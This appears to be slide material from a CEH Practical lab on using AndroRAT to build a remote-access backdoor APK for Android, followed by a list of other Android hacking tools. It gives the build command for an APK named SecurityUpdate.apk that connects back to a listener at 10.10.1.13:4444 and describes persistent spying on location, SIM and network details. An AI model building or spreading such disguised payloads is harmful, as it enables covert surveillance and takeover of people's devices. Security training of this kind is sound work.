Hack an Android Device by Creating APK File using AndroRAT

ILABS
CEH PRACTICAL

@mmar

AndroRAT is a tool designed to give control of an Android system to a remote user and to retrieve information from it. AndroRAT is a client/server application developed in Java Android for the client side and the Server is in Python. AndroRAT provides a fully persistent backdoor to the target device as the app starts automatically on device boot up, it also obtains the current location, sim card details, IP address and MAC address of the device.

Aim

In this task, we will use AndroRAT to create an APK file to hack an Android device.

```
python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk
```

--build: is used for building the APK
-i: specifies the local IP address (here, 10.10.1.13)
-p: specifies the port number (here, 4444)
-o: specifies the output APK file (here, SecurityUpdate.apk)

Other Android Hacking tools

- ✓ NetCut (https://www.arcai.com)
- ✓ drozer (https://labs.f-secure.com)
- ✓ zANTI (https://www.zimperium.com)
- ✓ Network Spoofer (https://www.digitalsquid.co.uk)
- ✓ DroidSheep (https://droidsheep.info)

DEMO

THANKS